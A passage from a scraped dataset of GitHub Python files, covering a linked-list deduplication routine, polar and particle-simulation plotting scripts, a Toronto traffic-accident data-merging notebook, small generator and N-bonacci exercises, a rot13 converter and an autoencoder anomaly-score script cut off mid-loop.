elif self._isCharBracket():\n res = False\n return res\n ","repo_name":"KlajdiIsmailaj/Informatik3","sub_path":"Python/EBNF-Parser/Parser.py","file_name":"Parser.py","file_ext":"py","file_size_in_byte":6914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"69804250649","text":"class ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\ndef deleteDuplicates(head: ListNode) -> ListNode:\n cur = head\n while cur:\n while cur.next and cur.val == cur.next.val:\n cur.next = cur.next.next\n cur = cur.next\n\n return head\n\n\n\n","repo_name":"DengBoCong/Algorithm","sub_path":"core/RemoveDuplicatesFromSortedList/RemoveDuplicatesFromSortedList.py","file_name":"RemoveDuplicatesFromSortedList.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"31"} +{"seq_id":"30326985440","text":"# This script reads an excel file and prints a polar plot\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.ticker as mticker\r\n\r\n# Read data from file\r\ndata = np.genfromtxt('mrts_test.csv', delimiter=',', skip_header=3, names=['heading', 'Hs', 'Vw'])\r\n\r\n# Create theta data for limiting Hs and Vw\r\ntotal_angles = int(raw_input(\"\\nHow many total angles were analyzed?\"))\r\nincrement = 360/total_angles\r\nheadings_analyzed = np.radians(np.arange(0, 370, increment))\r\n\r\n# Generate data for the limiting Hs and Vw\r\nlimiting_Hs = float(raw_input(\"\\nWhat is the limiting significant wave height (Hs) in meters?\"))\r\nlimiting_Vw = float(raw_input(\"\\nWhat is the limiting wind speed (Vw) in meters/second?\"))\r\nplot_Hs = limiting_Hs * np.ones(len(headings_analyzed))\r\nplot_Vw = limiting_Vw * np.ones(len(headings_analyzed))\r\n\r\n# Setup plot for Hs values\r\nfig1 = plt.figure()\r\nax1 = fig1.add_subplot(111, polar=True)\r\nax1.plot(np.radians(data['heading']), data['Hs'], color='b', lw=2, label='Case 3-I (no tug)')\r\nax1.set_title(\"Jascon 18 Heading v.s. Significant Wave Height (Dry Pipeline)\", fontsize=20, y=1.08)\r\nax1.set_xlabel('Vessel Heading [deg]', fontsize=15)\r\nax1.set_ylim(0,6)\r\nax1.set_theta_zero_location('S')\r\nax1.set_theta_direction(1)\r\nax1.set_thetagrids(np.arange(0,360,30), frac=1.1)\r\nplt.gca().yaxis.set_major_formatter(mticker.FormatStrFormatter('%d m'))\r\nax1.set_rgrids([0.1,1,2,3,4,5,6], angle=170.)\r\n# Plot limiting Hs value\r\nplt.plot(headings_analyzed, plot_Hs, color='r', lw=2, label='Limiting Hs (2.5 m)')\r\nplt.legend(bbox_to_anchor=(0.35,0.12), bbox_transform=plt.gcf().transFigure)\r\nplt.tight_layout()\r\nplt.show()\r\n\r\n# Setup plot for Vw values\r\nfig2 = plt.figure()\r\nax2 = fig2.add_subplot(111, polar=True)\r\nax2.plot(np.radians(data['heading']), data['Vw'], color='b', lw=2, label='Case 3-I (no tug)')\r\nax2.set_title(\"Jascon 18 Heading v.s. Wind Speed (Dry Pipeline)\", fontsize=20, y=1.08)\r\nax2.set_xlabel('Vessel Heading [deg]', fontsize=15)\r\nax2.set_ylim(0,20)\r\nax2.set_theta_zero_location('S')\r\nax2.set_theta_direction(1)\r\nax2.set_thetagrids(np.arange(0,360,30), frac=1.1)\r\nplt.gca().yaxis.set_major_formatter(mticker.FormatStrFormatter('%d m/s'))\r\nax1.set_rgrids([0.1,5,10,15,20], angle=170.)\r\n# Plot limiting Hs value\r\nplt.plot(headings_analyzed, plot_Vw, color='r', lw=2, label='Limiting Vw (15.44 m/s)')\r\n\r\n# Show plot\r\nplt.legend(bbox_to_anchor=(0.35,0.12), bbox_transform=plt.gcf().transFigure)\r\nplt.tight_layout()\r\nplt.show()\r\n\r\n\r\n","repo_name":"brianweber2/teamtreehouse","sub_path":"DP Plots/polar_plot.py","file_name":"polar_plot.py","file_ext":"py","file_size_in_byte":2475,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"31"} +{"seq_id":"34588504871","text":"\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd\nget_ipython().run_line_magic('matplotlib', 'inline')\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n# # Read files\n\n# In[3]:\n\n\ntrt = pd.read_csv('./a2/Automobile.csv')\nhda = pd.read_csv('./a2/HDA.csv', encoding='ISO-8859-1')\nri = pd.read_csv('./a2/RI.csv')\nweather = pd.read_csv('./a2/toronto.csv', encoding='ISO-8859-1')\nhda_trt = hda[hda['City'] == 'Toronto']\nhda_trt.reset_index(inplace=True,drop=True)\nri_trt = ri[ri['City'] == 'Toronto']\nri_trt.reset_index(inplace=True, drop=True)\n\n\n# ## Clean Toronto City data(traffic police)\n\n# In[4]:\n\n\ntrt['MONTH'] = trt.DATE.str.split('-').str[1].astype(int)\ntrt['DAY'] = trt.DATE.str.split('T').str[0].str.split('-').str[2].astype(int)\ntrt_clean = trt[['X', 'Y', 'Index_', 'ACCNUM', 'YEAR', 'ROAD_CLASS', 'District', 'LATITUDE', 'LONGITUDE',\n 'ACCLOC', 'TRAFFCTL', 'VISIBILITY', 'LIGHT', 'RDSFCOND','PEDESTRIAN','CYCLIST', 'AUTOMOBILE', 'MOTORCYCLE', \n 'TRUCK', 'SPEEDING', 'AG_DRIV', 'REDLIGHT', 'ALCOHOL','DISABILITY', 'Division', 'Ward_ID', 'Hood_ID','MONTH', 'DAY']]\n\n\n# In[5]:\n\n\ntrt_clean.join(trt_clean['ROAD_CLASS'].str.get_dummies())\ntrt_clean.join(trt_clean['TRAFFCTL'].str.get_dummies()[[u'No Control',u'Traffic Signal']])\ntrt_clean.join(trt_clean['ACCLOC'].str.get_dummies()[['At Intersection', 'Non Intersection']])\ntrt_clean.join(trt_clean['VISIBILITY'].str.get_dummies()['Clear'])\ntrt_clean['Dark'] = trt_clean['LIGHT'].str.get_dummies()['Dark']+trt_clean['LIGHT'].str.get_dummies()[u'Dark, artificial']\ntrt_clean['Dawn'] = trt_clean['LIGHT'].str.get_dummies()['Dawn']+trt_clean['LIGHT'].str.get_dummies()[u'Dawn, artificial']\ntrt_clean['Daylight'] = trt_clean['LIGHT'].str.get_dummies()['Daylight']+trt_clean['LIGHT'].str.get_dummies()[u'Daylight, artificial']\ntrt_clean['Dusk'] = trt_clean['LIGHT'].str.get_dummies()['Dusk']+trt_clean['LIGHT'].str.get_dummies()[u'Dusk, artificial']\ntrt_clean.join(trt_clean['RDSFCOND'].str.get_dummies()[['Dry','Wet']])\ntrt_clean['Inv_PED'] = trt_clean['PEDESTRIAN'].str.get_dummies()['Yes']\ntrt_clean['Inv_CYC'] = trt_clean['CYCLIST'].str.get_dummies()['Yes']\ntrt_clean['Inv_AM'] = trt_clean['AUTOMOBILE'].str.get_dummies()['Yes']\ntrt_clean['Inv_MC'] = trt_clean['MOTORCYCLE'].str.get_dummies()['Yes']\ntrt_clean['Inv_TC'] = trt_clean['TRUCK'].str.get_dummies()['Yes']\ntrt_clean['Speeding'] = trt_clean['SPEEDING'].str.get_dummies()['Yes']\ntrt_clean['Ag_Driv'] = trt_clean['AG_DRIV'].str.get_dummies()['Yes']\ntrt_clean['Redlight'] = trt_clean['REDLIGHT'].str.get_dummies()['Yes']\ntrt_clean['Alcohol'] = trt_clean['ALCOHOL'].str.get_dummies()['Yes']\ntrt_clean['Disability'] = trt_clean['DISABILITY'].str.get_dummies()['Yes']\n\n\n# In[6]:\n\n\ntrt_clean=trt_clean[['X', 'Y', 'Index_', 'ACCNUM', 'YEAR', \n 'LATITUDE', 'LONGITUDE', 'Ward_ID', 'Hood_ID', 'MONTH', 'DAY', 'Dark', 'Dawn',\n 'Daylight', 'Dusk', 'Inv_PED', 'Inv_CYC', 'Inv_AM', 'Inv_MC', 'Inv_TC',\n 'Speeding', 'Ag_Driv', 'Redlight', 'Alcohol', 'Disability']]\n\n\n# ## Merge Geotab Harzard Driving Area ,Road Impediments to TRT\n\n# In[7]:\n\n\nfor i in range(len(hda_trt)):\n for j in range(len(trt_clean)):\n if trt_clean.loc[j,'LATITUDE'] >= hda_trt.loc[i,'Latitude_SW'] and trt_clean.loc[j,'LATITUDE'] <= hda_trt.loc[i,'Latitude_NE']and trt_clean.loc[j,'LONGITUDE'] >= hda_trt.loc[i,'Longitude_SW']and trt_clean.loc[j,'LONGITUDE'] <= hda_trt.loc[i,'Longitude_NE']:\n trt_clean.loc[j,'SeverityScore'] = hda_trt.loc[i,'SeverityScore']\n trt_clean.loc[j,'IncidentsTotal'] = hda_trt.loc[i,'IncidentsTotal']\n trt_clean.loc[j,'Geohash'] = hda_trt.loc[i,'Geohash']\n #print(i)\n\n\n# In[8]:\n\n\nfor i in range(len(ri_trt)):\n for j in range(len(trt_clean)):\n if trt_clean.loc[j,'LATITUDE'] >= ri_trt.loc[i,'Latitude_SW'] and trt_clean.loc[j,'LATITUDE'] <= ri_trt.loc[i,'Latitude_NE']and trt_clean.loc[j,'LONGITUDE'] >= ri_trt.loc[i,'Longitude_SW']and trt_clean.loc[j,'LONGITUDE'] <= ri_trt.loc[i,'Longitude_NE']:\n trt_clean.loc[j,'AvgAcceleration'] = ri_trt.loc[i,'AvgAcceleration']\n trt_clean.loc[j,'PercentOfVehicles'] = ri_trt.loc[i,'PercentOfVehicles']\n trt_clean.loc[j,'AvgMonthlyVolume'] = ri_trt.loc[i,'AvgMonthlyVolume']\n trt_clean.loc[j,'PercentCar'] = ri_trt.loc[i,'PercentCar']\n trt_clean.loc[j,'PercentMPV'] = ri_trt.loc[i,'PercentMPV']\n trt_clean.loc[j,'PercentLDT'] = ri_trt.loc[i,'PercentLDT']\n trt_clean.loc[j,'PercentMDT'] = ri_trt.loc[i,'PercentMDT']\n trt_clean.loc[j,'PercentHDT'] = ri_trt.loc[i,'PercentHDT']\n trt_clean.loc[j,'PercentOther'] = ri_trt.loc[i,'PercentOther']\n trt_clean.loc[j,'Geohash'] = ri_trt.loc[i,'Geohash'] \n print(i)\n\n\n# ## Merge Weather to TRT\n\n# In[9]:\n\n\nweather_clean = weather[weather['Year']>2006]\nweather_clean['Daily_dif'] = np.abs(weather_clean[u'Max Temp (°C)']- weather_clean[u'Min Temp (°C)'])\nweather_trt = weather_clean.groupby(['Year', 'Month']).agg({u'Max Temp (°C)':'max', u'Min Temp (°C)':'min', 'Daily_dif':'max',\n u'Mean Temp (°C)':'mean', u'Total Rain (mm)':'mean',\n u'Total Snow (cm)':'mean'})\n\n\n# In[10]:\n\n\nfor year in range(2007,2018):\n for month in range(1,13):\n index = trt_clean[(trt_clean['YEAR']==year)&(trt_clean['MONTH']==month)].index\n trt_clean.loc[index,'Max_Temp'] = weather_trt.loc[year,month]['Max Temp (°C)']\n trt_clean.loc[index,'Min_Temp'] = weather_trt.loc[year,month]['Min Temp (°C)']\n trt_clean.loc[index,'Daily_dif'] = weather_trt.loc[year,month]['Daily_dif']\n trt_clean.loc[index,'Ave_Temp'] = weather_trt.loc[year,month]['Mean Temp (°C)']\n trt_clean.loc[index,'Rain_vol'] = weather_trt.loc[year,month]['Total Rain (mm)']\n trt_clean.loc[index,'Snow_vol'] = weather_trt.loc[year,month]['Total Snow (cm)']\n\n\n# ## Arrange by Year, Month, Ward_ID\n\n# In[11]:\n\n\ntrt_clean.drop(['X','Y'], axis=1, inplace = True)\n\n\n# In[18]:\n\n\ntrt_clean_ward = trt_clean.groupby(['YEAR','MONTH','Ward_ID']).agg({'Index_':'count','Dark':'sum','Dawn':'sum','Daylight':'sum',\n 'Dusk':'sum','Inv_PED':'sum','Inv_CYC':'sum',\n 'Inv_AM':'sum', 'Inv_MC':'sum','Inv_TC':'sum',\n 'Speeding':'sum','Ag_Driv':'sum', 'Redlight':'sum',\n 'Alcohol':'sum', 'Disability':'sum', 'SeverityScore':'mean',\n 'IncidentsTotal':'sum', 'AvgAcceleration':'mean',\n 'PercentOfVehicles':'mean', 'AvgMonthlyVolume':'mean',\n 'PercentCar':'mean', 'PercentMPV':'mean', 'PercentLDT':'mean',\n 'PercentMDT':'mean', 'PercentHDT':'mean', 'PercentOther':'mean',\n 'Daily_dif':'mean', 'Max_Temp':'max', 'Min_Temp':'min',\n 'Ave_Temp':'mean','Rain_vol':'mean','Snow_vol':'mean' })\n\n\n# In[19]:\n\n\ntrt_clean_ward2 = trt_clean_ward.reset_index(level=['Ward_ID','MONTH','YEAR'])\n\n\n# In[ ]:\n\n\nfor year in range(2007,2018):\n for month in range(1,13):\n for w in range(1, 45):\n if w in trt_clean_ward2[(trt_clean_ward2['YEAR']==year)&(trt_clean_ward2['MONTH']==month)]['Ward_ID']:\n continue\n else:\n trt_clean_ward2 = trt_clean_ward2.append({'YEAR':year, 'MONTH':month, 'Ward_ID':w}, ignore_index = True)\n\n\n# In[ ]:\n\n\ntrt_clean_ward2[['YEAR','MONTH','Ward_ID']] = trt_clean_ward2[['YEAR','MONTH','Ward_ID']].astype(int)\n\n\n# In[ ]:\n\n\ntrt_clean_ward2.sort_values(by=['YEAR', 'MONTH','Ward_ID'],inplace=True)\ntrt_clean_ward2.reset_index(inplace=True,drop=True)\n\n\n# In[ ]:\n\n\ntrt_clean_ward2.to_csv('incident_by_year_month_ward_2Mar.csv')\n\n","repo_name":"sergiosonline/data_sci_geo","sub_path":"data/Data_process_P2.py","file_name":"Data_process_P2.py","file_ext":"py","file_size_in_byte":8047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10191867205","text":"import h5py\nimport math\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation \n\ndef readH5(filename, Ex_field, Ey_field, charge_field, rank_id, vec_part):\n f = h5py.File(filename, \"r\")\n\n first_key = list(f.keys())\n print(first_key)\n\n Ex_key = list(f[first_key[0]].keys())\n Ey_key = list(f[first_key[1]].keys())\n charge_key = list(f[first_key[2]].keys())\n\n particles_key = []\n\n for i in range(3, len(first_key)-1):\n particles_key_aux = list(f[first_key[i]].keys())\n particles_key.append(particles_key_aux)\n\n\n # print(particles_key[0])\n # print(len(particles_key))\n\n rank_id_key = list(f[first_key[-1]].keys())\n\n Ex_field_aux = []\n Ey_field_aux = []\n charge_field_aux = []\n vec_part_aux = []\n\n for i in range(0, len(Ex_key)):\n Ex_field_aux.append(f[first_key[0]][Ex_key[i]][()])\n\n for i in range(0, len(Ey_key)):\n Ey_field_aux.append(f[first_key[1]][Ey_key[i]][()])\n\n for i in range(0, len(charge_key)):\n charge_field_aux.append(f[first_key[2]][charge_key[i]][()])\n\n for i in range(0, len(particles_key)):\n veci_particles_aux = []\n for j in range(0, len(particles_key[i])):\n veci_particles_aux.append(f[first_key[i+3]][particles_key[i][j]][()])\n vec_part_aux.append(veci_particles_aux)\n\n\n Ex_field.append(Ex_field_aux)\n Ey_field.append(Ey_field_aux)\n charge_field.append(charge_field_aux)\n\n rank_id.append(f[first_key[4]][rank_id_key[0]][()])\n\n vec_part.append(vec_part_aux)\n # vec_part2.append(vec_particles_2_aux)\n\n\n##########! varibles to change \nresults_path = \"../results/\"\nnumber_ranks = 4\ncounter = 500\ncounter_space = 100\nlx = 16./3.\nly = 16./3.\n\ndx = 1/3\ndy = 1/3\n\nbc = 1\nname_output = \"electron_anim_\"\n\ngrid_x_max = 2\ngrid_y_max = 2\n##########! \n\nfilename_vec = []\nEx_field = []\nEy_field = []\ncharge_field = []\n\nrank_id = []\nvec_part = []\n\nfor i in range(0, number_ranks):\n filename = results_path + \"final_sim_rank_\" + str(i) + \".h5\"\n filename_vec.append(filename)\n\n# print(filename_vec)\n\nfor i in range(0, number_ranks):\n readH5(filename_vec[i], Ex_field, Ey_field, charge_field, rank_id, vec_part)\n\n\nprint(rank_id)\nsnapshot_x = []\nsnapshot_y = []\nsnapshot_vx = []\nsnapshot_vy = []\n\n\n## vec_part index\n### [i][j][k][l]] -- i: process; j: species; k: time step; l: index_part; m: particles' feature \n\n## rank_id index\n### [i][j] -- i : process; j :: 0 - y direction; 1 - x direction \n\n\nfor count_plot in range(0, len(vec_part[0][0])):\n x_data = []\n y_data = []\n vx_data = []\n vy_data = []\n \n for n_proc in range(0, len(vec_part)):\n for n_spec in range(0, len(vec_part[n_proc])):\n for i in range(0, len(vec_part[n_proc][n_spec][count_plot])):\n x_data.append(lx*(rank_id[n_proc][1]) + vec_part[n_proc][n_spec][count_plot][i][0]*dx + vec_part[n_proc][n_spec][count_plot][i][2])\n y_data.append(ly*(rank_id[n_proc][0]) + vec_part[n_proc][n_spec][count_plot][i][1]*dy + vec_part[n_proc][n_spec][count_plot][i][3])\n vx_data.append(vec_part[n_proc][n_spec][count_plot][i][4])\n vy_data.append(vec_part[n_proc][n_spec][count_plot][i][5])\n\n\n snapshot_x.append(x_data)\n snapshot_y.append(y_data)\n snapshot_vx.append(vx_data)\n snapshot_vy.append(vy_data)\n\n# # ##! Particle animation\nfps = 20\nnSeconds = math.floor(len(vec_part[0][0])/fps)\nprint(nSeconds)\n# First set up the figure, the axis, and the plot element we want to animate\nfig = plt.figure( figsize=(8,8) )\n\nim = plt.scatter(snapshot_x[0], snapshot_y[0], marker=\".\")\n\n\nplt.xlabel(r\"$x$\")\nplt.ylabel(r\"$y$\")\nplt.title(r\"$Particles$\")\n\ndef animate_func(i):\n if i % fps == 0:\n print( '.', end ='' )\n\n im.set_offsets(np.transpose([snapshot_x[i], snapshot_y[i]]))\n return [im]\n\nanim = animation.FuncAnimation(fig, animate_func, \n frames = nSeconds * fps,\n interval = 1000 / fps, # in ms\n )\n\nanim.save(results_path+ \"videos/\" + name_output + \"part.mp4\", fps=fps, extra_args=['-vcodec', 'libx264'])\n\nprint('Particles Anim Done!')\n\n#X PHASE SPACE\n\nfig = plt.figure( figsize=(8,8) )\n\nim = plt.scatter(snapshot_x[0], snapshot_vx[0], marker=\".\")\n\nplt.xlabel(r\"$x$\")\nplt.ylabel(r\"$vx$\")\nplt.title(r\"$X Phase Space$\")\n\ndef animate_func(i):\n if i % fps == 0:\n print( '.', end ='' )\n\n im.set_offsets(np.transpose([snapshot_x[i], snapshot_vx[i]]))\n return [im]\n\nanim = animation.FuncAnimation(fig, animate_func, \n frames = nSeconds * fps,\n interval = 1000 / fps, # in ms\n )\n\nanim.save(results_path+ \"videos/\" + name_output + \"xphase.mp4\", fps=fps, extra_args=['-vcodec', 'libx264'])\n\nprint('X Phase Space Anim Done!')\n\n#Y PHASE SPACE\n\nfig = plt.figure( figsize=(8,8) )\n\nim = plt.scatter(snapshot_y[0], snapshot_vy[0], marker=\".\")\n\nplt.xlabel(r\"$y$\")\nplt.ylabel(r\"$vy$\")\nplt.title(r\"$Y Phase Space$\")\n\ndef animate_func(i):\n if i % fps == 0:\n print( '.', end ='' )\n\n im.set_offsets(np.transpose([snapshot_y[i], snapshot_vy[i]]))\n return [im]\n\nanim = animation.FuncAnimation(fig, animate_func, \n frames = nSeconds * fps,\n interval = 1000 / fps, # in ms\n )\n\nanim.save(results_path+ \"videos/\" + name_output + \"yphase.mp4\", fps=fps, extra_args=['-vcodec', 'libx264'])\n\nprint('Y Phase Space Anim Done!')\n\n\n\n# ##!! FIELDS CASE\nsnapshots_charge = []\nsnapshots_Ex = []\nsnapshots_Ey = []\n\n\n##order index\n\nlist_indx = []\nfor indy in range(grid_y_max-1, -1, -1):\n list_indx_x = []\n for indx in range(0, grid_x_max):\n for n_proc in range(0, 4):\n if (rank_id[n_proc][0] == indy and rank_id[n_proc][1] == indx):\n list_indx_x.append(n_proc)\n \n list_indx.append(list_indx_x)\n\nprint(list_indx)\n\n\n### rank - counter - line_field - cells that count\n# image_counter = 0\nfor count_plot in range(0, len(charge_field[2])):\n big_charge_dummy = []\n Ex_dummy = []\n Ey_dummy = []\n phase_dummy = []\n\n ##!!!!manual concatenatenation in the right grid structure in x direction\n for indy in range(0, grid_y_max):\n for i in range(len(charge_field[2][count_plot])-2, 0, -1):\n charge_aux = np.concatenate((charge_field[list_indx[indy][0]][count_plot][i][1:-2], charge_field[list_indx[indy][1]][count_plot][i][1:-2]))\n big_charge_dummy.append(charge_aux)\n\n Ex_aux = np.concatenate((Ex_field[list_indx[indy][0]][count_plot][i][1:-2], Ex_field[list_indx[indy][1]][count_plot][i][1:-2]))\n Ex_dummy.append(Ex_aux)\n\n Ey_aux = np.concatenate((Ey_field[list_indx[indy][0]][count_plot][i][1:-2], Ey_field[list_indx[indy][1]][count_plot][i][1:-2]))\n Ey_dummy.append(Ey_aux)\n\n\n snapshots_charge.append(big_charge_dummy)\n snapshots_Ex.append(Ex_dummy)\n snapshots_Ey.append(Ey_dummy)\n# # ##! Plots \n # plt.figure(count_plot)\n # plt.imshow(big_charge_dummy, interpolation ='nearest')\n # plt.xlabel(r\"$x$\")\n # plt.ylabel(r\"$y$\")\n # plt.title(r\"$\\rho$\")\n # plt.colorbar()\n # plt.savefig(results_path + \"plots/charge_field_2species_\"+ str(count_plot) +\"_2.png\")\n\n# # image_counter = image_counter + 1\n\n# # plt.figure(image_counter)\n# # plt.imshow(Ex_dummy, interpolation ='nearest')\n# # plt.xlabel(r\"$x$\")\n# # plt.ylabel(r\"$y$\")\n# # plt.title(r\"$E_x$\")\n# # plt.colorbar()\n# # plt.savefig(results_path + \"plots/Ex_field_2species_\"+ str(count_plot) +\"_2.png\")\n\n# # image_counter = image_counter + 1\n\n# # plt.figure(image_counter)\n# # plt.imshow(Ey_dummy, interpolation ='nearest')\n# # plt.xlabel(r\"$x$\")\n# # plt.ylabel(r\"$y$\")\n# # plt.title(r\"$E_y$\")\n# # plt.colorbar()\n# # plt.savefig(results_path + \"plots/Ey_field_2species_\"+ str(count_plot) +\"_2.png\")\n\n# # image_counter = image_counter + 1\n\n# # ##!Charge Animation\nfps = 10\nnSeconds = math.floor(len(charge_field[2])/fps)\nprint(nSeconds)\n# First set up the figure, the axis, and the plot element we want to animate\nfig = plt.figure( figsize=(6,8) )\n\na = snapshots_charge[0]\nim = plt.imshow(a, interpolation='spline16')\nplt.xlabel(r\"$x$\")\nplt.ylabel(r\"$y$\")\nplt.title(r\"$\\rho$\")\nplt.colorbar()\ndef animate_func(i):\n if i % fps == 0:\n print( '.', end ='' )\n im.set_array(snapshots_charge[i])\n return [im]\nanim = animation.FuncAnimation(fig, animate_func, \n frames = nSeconds * fps,\n interval = 1000 / fps, # in ms\n )\nanim.save(results_path+\"videos/\" + name_output + \"charge.mp4\", fps=fps, extra_args=['-vcodec', 'libx264'])\nprint('Charge Anim Done!')\n\n##!Ex_field Animation\nfps = 10\nnSeconds = math.floor(len(charge_field[2])/fps)\nprint(nSeconds)\n# First set up the figure, the axis, and the plot element we want to animate\nfig = plt.figure( figsize=(8,8) )\na = snapshots_Ex[0]\nim = plt.imshow(a, interpolation='spline16')\nplt.xlabel(r\"$x$\")\nplt.ylabel(r\"$y$\")\nplt.title(r\"$E_x$\")\ndef animate_func(i):\n if i % fps == 0:\n print( '.', end ='' )\n im.set_array(snapshots_Ex[i])\n return [im]\nanim = animation.FuncAnimation(fig, animate_func, \n frames = nSeconds * fps,\n interval = 1000 / fps, # in ms\n )\nanim.save(results_path+\"videos/\" + name_output + \"Ex_field.mp4\", fps=fps, extra_args=['-vcodec', 'libx264'])\nprint('Ex field Anim Done!')\n\n##!Ey_field Animation\nfps = 10\nnSeconds = math.floor(len(charge_field[2])/fps)\nprint(nSeconds)\n# First set up the figure, the axis, and the plot element we want to animate\nfig = plt.figure( figsize=(8,8) )\na = snapshots_Ey[0]\nim = plt.imshow(a, interpolation='spline16')\nplt.xlabel(r\"$x$\")\nplt.ylabel(r\"$y$\")\nplt.title(r\"$E_y$\")\nplt.colorbar()\ndef animate_func(i):\n if i % fps == 0:\n print( '.', end ='' )\n im.set_array(snapshots_Ey[i])\n return [im]\nanim = animation.FuncAnimation(fig, animate_func, \n frames = nSeconds * fps,\n interval = 1000 / fps, # in ms\n )\nanim.save(results_path+\"videos/\" + name_output + \"Ey_field.mp4\", fps=fps, extra_args=['-vcodec', 'libx264'])\nprint('Ey field Anim Done!')\n\n\n","repo_name":"joseAf28/FCPIC","sub_path":"diagnostics/h5plotter_old.py","file_name":"h5plotter_old.py","file_ext":"py","file_size_in_byte":10451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"19148383696","text":"\"\"\"\ngenerati radacina patrata a numerelor din intervalul a,b. Rotunjiti acestea\nla 2 decimale.\n\"\"\"\n\nfrom math import sqrt\n\ndef generator_sqrt(num1, num2):\n print(f\"Intervalul este: [{num1}, {num2}]\")\n for i in range(num1, num2 + 1):\n yield round(sqrt(i), 2)\n\nsqrt_generate = generator_sqrt(3, 7)\nfor x in sqrt_generate:\n print(x, end=' ')","repo_name":"BogdanChisu/SDA48_Generators","sub_path":"ex03.py","file_name":"ex03.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29962880327","text":"\ndef bonacci(N, k):\n lst = [0]*(N-1) + [1]\n while k > len(lst):\n sum = 0\n for i in range(N):\n sum = sum + lst[-1-i]\n lst.append(sum)\n \n return lst[k-1]\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"W7S25BPmjEMSzpnaB_5.py","file_name":"W7S25BPmjEMSzpnaB_5.py","file_ext":"py","file_size_in_byte":173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70659063132","text":"import codecs\nimport argparse\n\nparser = argparse.ArgumentParser(description='Process some integers.')\nparser.add_argument('--input')\nparser.add_argument('--output')\nargs = parser.parse_args()\n\n# print(args.input, args.output)\n\nwith open(args.input, \"r\") as fh:\n data = fh.readlines()\n\nwith open(args.output, \"w\") as fh:\n lines = [codecs.encode(x, 'rot_13') for x in data]\n fh.writelines(lines)\n","repo_name":"miklevin/mykoz","sub_path":"unrot.py","file_name":"unrot.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"4184962815","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Apr 18 15:47:22 2017\r\n\r\n@author: Gordon\r\n\"\"\"\r\n\r\nfrom sklearn.preprocessing import normalize\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n'''\r\nCalculate anomaly score with validation set and test set\r\n'''\r\n\r\ninput_train_val = np.loadtxt('input_monday_trainself_nonoverlap_user10_2L_20H.txt')\r\n#input_train_val = np.loadtxt('input_friday_nonoverlap_user10_2L_20H.txt')\r\noutput_train_val = np.loadtxt('output_monday_trainself_nonoverlap_user10_2L_20H.txt')\r\n#output_train_val = np.loadtxt('output_friday_nonoverlap_user10_2L_20H.txt')\r\n\r\ninput_train_val_concat = []\r\noutput_train_val_concat = []\r\n\r\nfor in_val in range(len(input_train_val)):\r\n input_train_val_concat = np.concatenate((input_train_val_concat,input_train_val[in_val]),axis=0)\r\n \r\nfor out_val in range(len(output_train_val)):\r\n output_train_val_concat = np.concatenate((output_train_val_concat,output_train_val[out_val]),axis=0)\r\n\r\n\r\n\r\npred_error = (input_train_val - output_train_val)\r\n\r\nerror_sq = pred_error * pred_error\r\nerror_sq_sum = np.sum(pred_error * pred_error)\r\n\r\nnormed_error_sq = error_sq / error_sq_sum\r\n\r\nnormed_error_sq_mean = np.mean(normed_error_sq)\r\nnormed_error_sq_std = np.std(normed_error_sq)\r\n\r\nz_score = abs((normed_error_sq - normed_error_sq_mean) / normed_error_sq_std)\r\n\r\nz_score_concat = []\r\n\r\nfor z_val in range(len(z_score)):\r\n z_score_concat = np.concatenate((z_score_concat,z_score[z_val]),axis=0)\r\n\r\nstart_point = 0 # 100000, 200000\r\nseq_length = len(z_score_concat) # 1000\r\n#start_point = 700000 # 100000, 200000\r\n#seq_length = 1000\r\nmean_z_score_line = [np.mean(z_score)]*seq_length\r\nstep = np.arange(seq_length)\r\n\r\nplt.figure(1)\r\nplt.subplot(311)\r\nplt.plot(input_train_val_concat[start_point + 0:start_point+seq_length])\r\nplt.axis((0,len(input_train_val_concat[start_point + 0:start_point+seq_length]),min(input_train_val_concat),max(input_train_val_concat)))\r\nplt.title('train - Original Input - user 10')\r\nplt.xlabel('time step')\r\nplt.ylabel('Accelerometer mag')\r\n\r\nplt.subplot(312)\r\nplt.plot(output_train_val_concat[start_point + 0:start_point+seq_length])\r\nplt.axis((0,len(output_train_val_concat[start_point + 0:start_point+seq_length]),min(input_train_val_concat),max(input_train_val_concat)))\r\nplt.title('train - Reconstructed Input - user 10')\r\nplt.xlabel('time step')\r\nplt.ylabel('Accelerometer mag')\r\n\r\nplt.subplot(313)\r\nplt.plot(step,z_score_concat[start_point + 0:start_point+seq_length])\r\nplt.plot(step,mean_z_score_line,'r--')\r\nplt.axis((0,len(z_score_concat[start_point + 0:start_point+seq_length]),0,30))\r\nplt.title('train - Sequence of Z-score')\r\nplt.xlabel('time step')\r\nplt.ylabel('Z-score')\r\nplt.subplots_adjust(top=0.99, bottom=0.01, left=0.01, right=0.99, hspace=0.8,wspace=0.5)\r\nplt.show()\r\n\r\nprint ('duration(sec): %d sec' % (seq_length/20))\r\nprint ('duration(minute): %d minute' % (seq_length/20/60))\r\nprint ('duration(hour): %d hour' % (seq_length/20/60/60))\r\n\r\n\r\nx = np.arange(100)\r\nmean_z_score_line_one_seq = [np.mean(z_score)]*100\r\n \r\nn_samples = 50\r\nnp.random.seed(600)\r\nshuffle_indices_z = np.random.permutation(np.arange(len(normed_error_sq)))\r\nrandom_sample_indices_z = shuffle_indices_z[0:n_samples]\r\n\r\nfor 